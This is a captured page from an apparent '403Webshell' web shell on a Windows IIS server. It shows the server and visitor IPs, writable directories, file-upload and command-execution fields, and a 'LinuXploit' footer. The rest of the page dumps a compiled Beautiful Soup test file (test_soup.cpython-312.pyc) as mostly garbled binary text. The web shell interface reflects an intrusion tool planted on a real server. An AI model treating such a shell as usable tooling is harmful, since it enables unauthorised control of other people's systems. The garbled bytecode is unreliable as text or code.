403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Python312/Lib/site-packages/bs4/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Python312/Lib/site-packages/bs4/tests/__pycache__/test_soup.cpython-312.pyc
�

V	�g�X��h�dZddlZddlZddlZddlmZddlmZmZm	Z	ddl
mZddlm
Z
mZmZmZmZmZddlmZddlmZdd	lmZd
dlmZmZmZddlZddlmZGd
�de�ZGd�de�Z Gd�de�Z!Gd�de�Z"Gd�de�Z#Gd�de�Z$Gd�de�Z%Gd�de�Z&y)z#Tests of Beautiful Soup as a whole.�N)�Iterable)�
BeautifulSoup�GuessedAtParserWarning�dammit)�TreeBuilder)�AttributeValueList�XMLAttributeDict�Comment�PYTHON_SPECIFIC_ENCODINGS�Tag�NavigableString)�SoupStrainer��ParserRejectedMarkup)�MarkupResemblesLocatorWarning�)�default_builder�LXML_PRESENT�SoupTest)�Typec��eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
ejjd	d
dd�g�d
��Zy)�TestConstructorc�`�d}|j|�}d|jjk(sJ�y)Nu
<h1>éé</h1>uéé��soup�h1�string��self�datars   �5C:\Python312\Lib\site-packages\bs4/tests/test_soup.py�test_short_unicode_inputz(TestConstructor.test_short_unicode_input,s*�����y�y����������'�'�'�c�`�d}|j|�}d|jjk(sJ�y)Nz<h1>foobar</h1>zfoobarrrs   r!�test_embedded_nullz"TestConstructor.test_embedded_null1s*��"���y�y�����T�W�W�^�^�+�+�+r#c�p�djd�}|j|dg��}d|jk(sJ�y)Nu
Räksmörgås�utf-8)�exclude_encodingszwindows-1252)�encoder�original_encoding)r�	utf8_datars   r!�test_exclude_encodingsz&TestConstructor.test_exclude_encodings6s:��#�*�*�7�3�	��y�y��w�i�y�@����!7�!7�7�7�7r#c�x�Gd�dt�}tdd��}tjd��5t	dd|i|��}ddd�tj|�sJ�td�	�|jjk(sJ�d
|jjk(sJ�|di|��}tjd��5}t	d|d��}ddd�tdj�}|jd
�sJ�||jk(sJ�||jk(sJ�y#1swY��xYw#1swY�cxYw)Nc�8�eZdZd�Zd�Zd�Zd�Zd�ZexZZ	d�Z
y)�7TestConstructor.test_custom_builder_class.<locals>.Mockc��||_d|_d|_g|_g|_i|_t|_t|_	y)NTF)
�called_with�is_xml�store_line_numbers�cdata_list_attributes�preserve_whitespace_tags�string_containersr	�attribute_dict_classr�attribute_value_list_class)r�kwargss  r!�__init__z@TestConstructor.test_custom_builder_class.<locals>.Mock.__init__?sA��#)�� �"���*/��'�-/��*�02��-�)+��&�,<��)�2D��/r#c��y�N��rrs  r!�initialize_soupzGTestConstructor.test_custom_builder_class.<locals>.Mock.initialize_soupI���r#c��||_yr<)�fed)r�markups  r!�feedz<TestConstructor.test_custom_builder_class.<locals>.Mock.feedLs	��!��r#c��yr<r=�rs r!�resetz=TestConstructor.test_custom_builder_class.<locals>.Mock.resetOr@r#c��yr<r=)r�ignores  r!rIz>TestConstructor.test_custom_builder_class.<locals>.Mock.ignoreRr@r#c?�K�d��y�w)N)�prepared markupzoriginal encodingzdeclared encodingzcontains replacement charactersr=�r�argsr9s   r!�prepare_markupzFTestConstructor.test_custom_builder_class.<locals>.Mock.prepare_markupWs������s�N)�__name__�
__module__�__qualname__r:r?rDrGrI�set_up_substitutions�can_be_empty_elementrNr=r#r!�Mockr/>s0��
E�
�
"�
�
�;A�@� �#7�
r#rT�valueT)�var�convertEntities��record��builder)rVrK)r[�
ignored_valuerzCKeyword arguments to the BeautifulSoup constructor will be ignored.)rZr=)�object�dict�warnings�catch_warningsr�
isinstancer[r1rB�str�message�
startswith)rrTr9rr[�w�msgs       r!�test_custom_builder_classz)TestConstructor.test_custom_builder_class;s=��	�6�	�B��!�	
���
$�
$�D�
1�	=� �<�T�<�V�<�D�	=��$�,�,��-�-�-��� �D�L�L�$<�$<�<�<�<� �D�L�L�$4�$4�4�4�4�
�.��.��
�
$�
$�D�
1�	�Q� ���"��D�	��!�A�$�,�,����~�~�Q�
�	
�
��$�,�,�&�&�&���,�,�,�,�,�+	=�	=��	�	�s�D$�?D0�$D-�0D9c���Gd�dt�}d�}tjt�5}t	d|��ddd�dtj�vsJ�y#1swY�#xYw)Nc��eZdZd�Zy)�:TestConstructor.test_parser_markup_rejection.<locals>.Mockc��td��)NzNope.rrLs   r!rDz?TestConstructor.test_parser_markup_rejection.<locals>.Mock.feed�s
��*�7�3�3r#N)rOrPrQrDr=r#r!rTrjs��
4r#rTc?�,K�|dddf��|dddf��y�w�NFr=)rrCrMr9s    r!rNzDTestConstructor.test_parser_markup_rejection.<locals>.prepare_markup�s&�����$��e�+�+��$��e�+�+�s�rZ)r[zoThe markup you provided was rejected by the parser. Trying a different parser or a different encoding may help.)r�pytest�raisesrrrbrU)rrTrN�exc_infos    r!�test_parser_markup_rejectionz,TestConstructor.test_parser_markup_rejection|sd��	4�;�	4�	,��]�]�/�
0�	,�H��"�d�+�	,�
~��8�>�>�"�
#�	
�
#�	,�	,�s�A�A%c��d}|j|�}|j}d|dk(sJ�ddg|dk(sJ�|j|td��}d|jdk(sJ�ddiddifD]W}tjd	�
�5|j|d|��}ddd�|j}ddg|dk(sJ�d|dk(r�WJ�y#1swY�.xYw)Nz&<a id=" an id " class=" a class "></a>z an id �id�a�class)r[�multi_valued_attributesz	 a class �*TrX�an)rrtrr_r`)rrCrrt�
switcheroos     r!�test_cdata_list_attributesz*TestConstructor.test_cdata_list_attributes�s��:���y�y�� ��
�F�F���A�d�G�#�#�#��W�~��7��+�+�+�
�y�y���RV�y�W���d�f�f�W�o�-�-�-� ��;��d��4�		-�J��(�(��5�
��y�y��D�*�!���
����A��$�<�1�T�7�*�*�*��!�G�*�,�,�,�		-�
�
�s�C�C	c	������Gd�dt��Gd�dt��Gd�dt��|jdt�t�t�i��}t	���fd	�|j
D��sJ�y)
Nc��eZdZy)�9TestConstructor.test_replacement_classes.<locals>.TagPlusN�rOrPrQr=r#r!�TagPlusr}����r#rc��eZdZy)�<TestConstructor.test_replacement_classes.<locals>.StringPlusNr~r=r#r!�
StringPlusr��r�r#r�c��eZdZy)�=TestConstructor.test_replacement_classes.<locals>.CommentPlusNr~r=r#r!�CommentPlusr��r�r#r�z<a><b>foo</b>bar</a><!--whee-->)�element_classesc3�<�K�|]}t|���f����y�wr<)ra)�.0�xr�r�rs  ���r!�	<genexpr>z;TestConstructor.test_replacement_classes.<locals>.<genexpr>�s$�����
�BC�J�q�7�J��<�=�
�s�)rr
r
r�all�descendants)rrr�r�rs  @@@r!�test_replacement_classesz(TestConstructor.test_replacement_classes�sz���	�c�	�	��	�	�'�	��y�y�-��W�������
���
�GK�GW�GW�
�
�	
�
r#c�|�Gd�dt�}Gd�dt�}|jd||d���}t|jjdt�sJ�t|j
jd|�sJ�|jjD]}t||�r�J�g|jk(sJ�y)	Nc��eZdZy)�ATestConstructor.test_alternate_string_containers.<locals>.PStringNr~r=r#r!�PStringr��r�r#r�c��eZdZy)�ATestConstructor.test_alternate_string_containers.<locals>.BStringNr~r=r#r!�BStringr��r�r#r�z4<div>Hello.<p>Here is <b>some <i>bolded</i></b> text)�b�p)r6r)	r
rra�div�contentsr�r��strings�string_container_stack)rr�r�r�ss     r!� test_alternate_string_containersz0TestConstructor.test_alternate_string_containers�s���	�o�	�	�o�	��y�y�B�����
���$�(�(�+�+�A�.��@�@�@��$�&�&�/�/�!�,�g�6�6�6������	*�A��a��)�)�)�	*�
�T�0�0�0�0�0r#�
bad_markuprFc��yrmr=)r�s r!�<lambda>zTestConstructor.<lambda>�s�r#c��tjt�5}t|d�ddd�d|�d�t	j
�vsJ�y#1swY�'xYw)N�html.parserz'Incoming markup is of an invalid type: z?. Markup must be a string, a bytestring, or an open filehandle.)rnro�	TypeErrorrrbrU)rr�rps   r!�test_invalid_markup_typez(TestConstructor.test_invalid_markup_type�s`��
�]�]�9�
%�	5���*�m�4�	5�6�j�^�DC�
D��8�>�>�"�
#�	
�
#�	5�	5�s�
A
�
AN)rOrPrQr"r%r,rgrqrzr�r�rn�mark�parametrizer�r=r#r!rr+sY��(�
,�
8�
?-�B
�*-�>
�61�B�[�[���\�A�u�o�+F�G�
�H�
r#rc���eZdZejjdddg�d��ZejjdeD��cgc]}|��c}}dgz�d��Zd�Z	ycc}}w)	�
TestOutputz!eventual_encoding,actual_encoding)r'r')�utf-16r�c�j�|jd�}d|_d|�d�|j|��k(sJ�y)N�<tag></tag>Tz<?xml version="1.0" encoding="z"?>
<tag></tag>��eventual_encoding)rr2�decode)rr��actual_encodingrs    r!�test_decode_xml_declarationz&TestOutput.test_decode_xml_declaration�sG���y�y��'�����,�_�,=�=M�N��{�{�->�{�?�
@�	
�
@r#r�Nc�X�tdd�}d|_d|j|��k(sJ�y)Nr�r�Tz!<?xml version="1.0"?>
<tag></tag>r�)rr2r�)rr�rs   r!�Mtest_decode_xml_declaration_with_missing_or_python_internal_eventual_encodingzXTestOutput.test_decode_xml_declaration_with_missing_or_python_internal_eventual_encoding
s=���]�M�:�����3�t�{�{�/�8C�8
�
�	
�
r#c���|jd�}d|jd��k(sJ�d|jd��k(sJ�d|j�k(sJ�d|j	�k(sJ�y)Nr�s<tag></tag>r')�encodingz
<tag>
</tag>
)rr)�encode_contents�decode_contents�prettifyr>s  r!�testzTestOutput.testsr���y�y��'������g��!>�>�>�>���!5�!5�w�!5�!G�G�G�G��� 4� 4� 6�6�6�6� �D�M�M�O�3�3�3r#)
rOrPrQrnr�r�r�rr�r�)r�r�s00r!r�r��sw���[�[���+�� �	
��

��

��[�[����)B�C�A�a�C�t�f�L��

��

�4��Ds�	A#r�c�P�eZdZdeej
deedej
fd�Zdeej
ddfd�Z	d�Z
d	�Zd
�Zd�Z
d�Zd
�Zd�Zej$j'dgd��d��Zej$j'dgd��d��Zd�Zd�Zd�Zd�Zy)�TestWarningsr_�cls�returnc��|D]1}t|j|�s�|jtk(sJ�|cSt	|�d|����)Nz warning not found in )rarc�filename�__file__�	Exception)rr_r�res    r!�_assert_warningzTestWarnings._assert_warning,sJ���	�A��!�)�)�S�)��z�z�X�-�-�-���	���X�F�G�Gr#reNc��|j|t�}t|j�}|j	tj
dd�sJ�y)N�<)r�rrbrcrd�MESSAGE)rre�warningrcs    r!�_assert_no_parser_specifiedz(TestWarnings._assert_no_parser_specified5sE���&�&�q�*@�A���g�o�o�&���!�!�"8�"@�"@��"�"E�F�F�Fr#c��tjd��5}td�ddd�|j�y#1swY�xYw�NTrX�<a><b></b></a>�r_r`rr��rres  r!�#test_warning_if_no_parser_specifiedz0TestWarnings.test_warning_if_no_parser_specified:s>��
�
$�
$�D�
1�	,�Q��*�+�	,��(�(��+�	,�	,�s	�=�Ac��tjd��5}tdd�ddd�|j�y#1swY�xYw)NTrXr��htmlr�r�s  r!�*test_warning_if_parser_specified_too_vaguez7TestWarnings.test_warning_if_parser_specified_too_vague?s@��
�
$�
$�D�
1�	4�Q��*�F�3�	4��(�(��+�	4�	4�s	�
>�Ac��tjd��5}|jd�ddd�gk(sJ�y#1swY�xYwr��r_r`rr�s  r!�,test_no_warning_if_explicit_parser_specifiedz9TestWarnings.test_no_warning_if_explicit_parser_specifiedDs?��
�
$�
$�D�
1�	(�Q��I�I�&�'�	(��Q�w��w�	(�	(��	�9�Ac��tdd��}tjd��5}|jd|��ddd�|j	t
�}t
|j�}|jd�sJ�y#1swY�HxYw)	Nrtr�)�namerTrXr���
parse_onlyz7The given value for parse_only will exclude everything:)	rr_r`rr��UserWarningrbrcrd)r�strainerrer�rfs     r!�+test_warning_if_strainer_filters_everythingz8TestWarnings.test_warning_if_strainer_filters_everythingIsw���S��5��
�
$�
$�D�
1�	=�Q��I�I�&�8�I�<�	=��&�&�q�+�6���'�/�/�"���~�~�W�X�X�X�		=�	=�s�A?�?Bc� �tjd��5}tddtd���}ddd�|j	t
�}t
|j�}d|vsJ�d|vsJ�d	j�k(sJ�y#1swY�VxYw)
NTrXr�r�r�)�parseOnlyTheser�r�s<b></b>)	r_r`rrr��DeprecationWarningrbrcr))rrerr�rfs     r!�)test_parseOnlyThese_renamed_to_parse_onlyz6TestWarnings.test_parseOnlyThese_renamed_to_parse_onlyQs���
�
$�
$�D�
1�	�Q� � ��+�C�0��D�	��&�&�q�*<�=���'�/�/�"���3�&�&�&��s�"�"�"��T�[�[�]�*�*�*�	�	�s�B�B
c�
�tjd��5}d}t|dd��}ddd�|jt�}t|j�}d|vsJ�d|vsJ�djk(sJ�y#1swY�RxYw)	NTrXsér��utf8)�fromEncodingr��
from_encoding)r_r`rr�r�rbrcr*)rrer�rr�rfs      r!�*test_fromEncoding_renamed_to_from_encodingz7TestWarnings.test_fromEncoding_renamed_to_from_encoding^s���
�
$�
$�D�
1�	K�Q��D� ��}�6�J�D�	K��&�&�q�*<�=���'�/�/�"����$�$�$��#�%�%�%���/�/�/�/�/�	K�	K�s�A9�9Bc��tjt�5|jdd��ddd�y#1swYyxYw)Nz<a>T)�no_such_argument)rnror�rrFs r!�"test_unrecognized_keyword_argumentz/TestWarnings.test_unrecognized_keyword_argumenths3��
�]�]�9�
%�	4��I�I�e�d�I�3�	4�	4�	4�s	�7�ArC)zmarkup.htmlz
markup.htmzmarkup.HTMLz
markup.txtzmarkup.xhtmlz
markup.xmlz/home/user/file.txtz/c:\user\file.html\\server\share\path\file.XhTmlc���tjd��5}t|d�|j|t�}dt|j�vsJ�	ddd�y#1swYyxYw)NTrXr�zlooks more like a filename�r_r`rr�rrbrc)rrCrer�s    r!�test_resembles_filename_warningz,TestWarnings.test_resembles_filename_warninglsa�� �
$�
$�D�
1�	H�Q��&�-�0��*�*�1�.K�L�G�/�3�w���3G�G�G�G�	H�	H�	H�s�<A�A&)r��
markuphtmlz
markup.comrZz	markup.jsz
markup.jpgz
markup.markupz/home/user/filez)c:\user\file.html\\server\share\path\filezAlog message containing a url http://www.url.com/ right there.htmlztwo  consecutive  spaces.htmlztwo//consecutive//slashes.htmlz4looks/like/a/filename/but/oops/theres/a#comment.htmlztwo
lines.htmlzcontains?.htmlzcontains*.htmlzcontains#.htmlzcontains&.htmlzcontains;.htmlzcontains>.htmlzcontains<.htmlzcontains$.htmlzcontains|.htmlzcontains:.htmlz:-at-the-front.htmlc��tjd��5}|j|�ddd�gk(sJ�y#1swY�xYw)NTrXr�)rrCres   r!�"test_resembles_filename_no_warningz/TestWarnings.test_resembles_filename_no_warning�sA��P�
$�
$�D�
1�	�Q��I�I�f��	��Q�w��w�	�	�r�c�$�d}tjd��5}t|d�ddd�|jt�}dt|j�vsJ�|t|j�jd�vsJ�y#1swY�axYw)Nshttp://www.crummybytes.com/TrXr��looks more like a URLr�)r_r`rr�rrbrcr)�r�url�warning_listr�s    r!�test_url_warning_with_bytes_urlz,TestWarnings.test_url_warning_with_bytes_url�s���,��
�
$�
$�D�
1�	.�\��#�}�-�	.��&�&�|�5R�S��&�#�g�o�o�*>�>�>�>��#�g�o�o�.�5�5�f�=�=�=�=�		.�	.�s�
B�Bc��d}tjd��5}t|d�ddd�|jt�}dt|j�vsJ�|t|j�vsJ�y#1swY�RxYw)Nzhttp://www.crummyunicode.com/TrXr�r�r�r�s    r!�!test_url_warning_with_unicode_urlz.TestWarnings.test_url_warning_with_unicode_url�s{��-��
�
$�
$�D�
1�	.�\�
�#�}�-�	.��&�&�|�5R�S��&�#�g�o�o�*>�>�>�>��#�g�o�o�.�.�.�.�
	.�	.�s�
A7�7Bc��tjd��5}|jd�ddd�td�D��rJ�y#1swY�xYw)NTrXs$http://www.crummybytes.com/ is greatc3�JK�|]}dt|j�v���y�w�r�N�rbrc�r�res  r!r�zETestWarnings.test_url_warning_with_bytes_and_space.<locals>.<genexpr>������W�Q�.�#�a�i�i�.�@�W���!#�r_r`r�any�rr�s  r!�%test_url_warning_with_bytes_and_spacez2TestWarnings.test_url_warning_with_bytes_and_space�sM���
$�
$�D�
1�	?�\��I�I�=�>�	?��W�,�W�W�W�W�W�	?�	?���A�Ac��tjd��5}|jd�ddd�td�D��rJ�y#1swY�xYw)NTrXz&http://www.crummyunicode.com/ is greatc3�JK�|]}dt|j�v���y�wr�r�r�s  r!r�zGTestWarnings.test_url_warning_with_unicode_and_space.<locals>.<genexpr>�r�r�r�r�s  r!�'test_url_warning_with_unicode_and_spacez4TestWarnings.test_url_warning_with_unicode_and_space�sO��
�
$�
$�D�
1�	@�\��I�I�>�?�	@��W�,�W�W�W�W�W�	@�	@�r)rOrPrQrr_�WarningMessager�Warningr�r�r�r�r�r�r�r�r�rnr�r�r�r�r�r�r�rr=r#r!r�r�$s���H� ��!8�!8�9�H�@D�W�
�H�	�	 �	 �H�G�X�h�6M�6M�-N�G�SW�G�
,�
,�
�
Y�+�0�4��[�[����		
��H��H��[�[���� 	
�#�H�I#�H�>�/�X�Xr#r�c��eZdZd�Zy)�TestSelectiveParsingc�n�d}td�}|j||��}|j�dk(sJ�y)Nz&No<b>Yes</b><a>No<b>Yes <c>Yes</c></b>r�r�s<b>Yes</b><b>Yes <c>Yes</c></b>)rrr))rrCr�rs    r!�test_parse_with_soupstrainerz1TestSelectiveParsing.test_parse_with_soupstrainer�s8��9����$���y�y��H�y�5���{�{�}� B�B�B�Br#N)rOrPrQr	r=r#r!rr�s��Cr#rc�d�eZdZdZd�Zejjed��d��Z	d�Z
y)�
TestNewTagz(Test the BeautifulSoup.new_tag() method.c���|jd�}|jdddddi��}t|t�sJ�d|jk(sJ�|j
dk(sJ�t
dd��|jk(sJ�d|jusJ�|jd�}d|j
usJ�|jdd�	�}d|j
usJ�|jdd�	�}d|j
k(sJ�y)
NrZ�foo�txt�bazr�za name)r�bar�attrs)rr�)r)	r�new_tagrarr�rr^r�parent)rrrs   r!�test_new_tagzTestNewTag.test_new_tag�s����y�y��}���,�,�u�U��f�h�EW�,�X���'�3�'�'�'�����$�$�$��~�~��&�&�&���H�-����>�>�>��w�~�~�%�%�%��,�,�u�%���w�~�~�%�%�%��,�,�u�T�,�2���w�~�~�%�%�%��,�,�u�R�,�0���W�^�^�#�#�#r#z-lxml not installed, cannot parse XML document)�reasonc��tdd�}|jd�}|jd�}d|j�k(sJ�d|j�k(sJ�y)NrZ�xml�brr��<br/>s<p/>�rrr))r�xml_soup�xml_br�xml_ps    r!�5test_xml_tag_inherits_self_closing_rules_from_builderz@TestNewTag.test_xml_tag_inherits_self_closing_rules_from_builder�sZ��!��U�+���!�!�$�'��� � ��%���6�=�=�?�*�*�*��%�,�,�.�(�(�(r#c��tdd�}|jd�}|jd�}d|j�k(sJ�d|j�k(sJ�y)NrZr�rr�rs<p></p>r)r�	html_soup�html_br�html_ps    r!�1test_tag_inherits_self_closing_rules_from_builderz<TestNewTag.test_tag_inherits_self_closing_rules_from_builder�sY��!�"�m�4�	��#�#�D�)���"�"�3�'���7�>�>�+�+�+�+��V�]�]�_�,�,�,r#N)rOrPrQ�__doc__rrnr��skipifrrr#r=r#r!rr�s@��2�$�&�[�[�����!P���)��)�-r#rc��eZdZdZd�Zd�Zy)�
TestNewStringz+Test the BeautifulSoup.new_string() method.c�z�|jd�}|jd�}d|k(sJ�t|t�sJ�y�NrZr
)r�
new_stringrar
�rrr�s   r!�'test_new_string_creates_navigablestringz5TestNewString.test_new_string_creates_navigablestrings9���y�y��}���O�O�E�"����z��z��!�_�-�-�-r#c��|jd�}|jdt�}d|k(sJ�t|t�sJ�yr))rr*r
rar+s   r!�3test_new_string_can_create_navigablestring_subclasszATestNewString.test_new_string_can_create_navigablestring_subclasss;���y�y��}���O�O�E�7�+����z��z��!�W�%�%�%r#N)rOrPrQr$r,r.r=r#r!r'r's��5�.�&r#r'c��eZdZd�Zd�Zy)�
TestPicklec��|jd�}tj|�}tj|�}d|jj
k(sJ�y)Nz<a>some markup</a>�some markup)r�pickle�dumps�loadsrtr�rr�pickled�	unpickleds    r!�test_normal_picklezTestPickle.test_normal_picklesE���y�y�-�.���,�,�t�$���L�L��)�	��	��� 2� 2�2�2�2r#c��|jd�}d|_tj|�}tj|�}d|j
k(sJ�y)Nr2)rr[r3r4r5rr6s    r!�test_pickle_with_no_builderz&TestPickle.test_pickle_with_no_buildersI���y�y��'������,�,�t�$���L�L��)�	��	� 0� 0�0�0�0r#N)rOrPrQr9r;r=r#r!r0r0s��3�1r#r0c�*�eZdZd�Zd�Zd�Zd�Zd�Zy)�TestEncodingConversionc�t�d|_|jjd�|_|jdk(sJ�y)NuU<html><head><meta charset="utf-8"/></head><body><foo>Sacré bleu!</foo></body></html>r'sU<html><head><meta charset="utf-8"/></head><body><foo>Sacré bleu!</foo></body></html>)�unicode_datar)r+rFs r!�setup_methodz#TestEncodingConversion.setup_method)sB��U����*�*�1�1�'�:���
�N�N�m�
n�	
�
nr#c�<�tj}tjtj�	d�}|t_d}|j|�}|j
�}t|t�sJ�||j|j
��k(sJ�|jj�dk(sJ�	tjtj�|t_y#tjtj�|t_wxYw)Nc��yr<r=)rbs r!�noopz>TestEncodingConversion.test_ascii_in_unicode_out.<locals>.noop9s��r#s<foo>a</foo>r')
r�_chardet_dammit�logging�disable�WARNINGrr�rarb�document_forr*�lower�NOTSET)r�chardetrC�ascii�soup_from_ascii�unicode_outputs      r!�test_ascii_in_unicode_outz0TestEncodingConversion.test_ascii_in_unicode_out2s����(�(��������(�	-�
�&*�F�"�#�E�"�i�i��.�O�,�3�3�5�N��n�c�2�2�2�!�T�%6�%6�u�|�|�~�%F�F�F�F�"�4�4�:�:�<��G�G�G��O�O�G�N�N�+�%,�F�"��
�O�O�G�N�N�+�%,�F�"�s�BC+�+0Dc���|j|j�}|j�|jk(sJ�|jjdk(sJ�|j
�J�y�NuSacré bleu!)rr?r�r
rr*�r�soup_from_unicodes  r!�test_unicode_in_unicode_outz2TestEncodingConversion.test_unicode_in_unicode_outHsc��!�I�I�d�&7�&7�8�� �'�'�)�T�->�->�>�>�>� �$�$�+�+�/?�?�?�?� �2�2�:�:�:r#c��|j|j�}|j�|jk(sJ�|jj
dk(sJ�yrQ)rr+r�r?r
r)r�soup_from_utf8s  r!�test_utf8_in_unicode_outz/TestEncodingConversion.test_utf8_in_unicode_outPsN�����4�>�>�2���$�$�&�$�*;�*;�;�;�;��!�!�(�(�,<�<�<�<r#c�z�|j|j�}|jd�|jk(sJ�y)Nr')rr?r)r+rRs  r!�
test_utf8_outz$TestEncodingConversion.test_utf8_outWs4�� �I�I�d�&7�&7�8�� �'�'��0�D�N�N�B�B�Br#N)rOrPrQr@rOrTrWrYr=r#r!r=r=%s��
�-�,;�=�Cr#r=)'r$rEr3rn�typingr�bs4rrr�bs4.builderr�bs4.elementrr	r
rrr
�
bs4.filterr�bs4.exceptionsr�
bs4._warningsrrZrrrr_rrr�r�rrr'r0r=r=r#r!�<module>ras���)��
�
����
���$���
��
��H
�h�H
�V+4��+4�\eX�8�eX�PC�8�C�+-��+-�\
&�H�
&� 1��1�&5C�X�5Cr#

Youez - 2016 - github.com/yon3zu
LinuXploit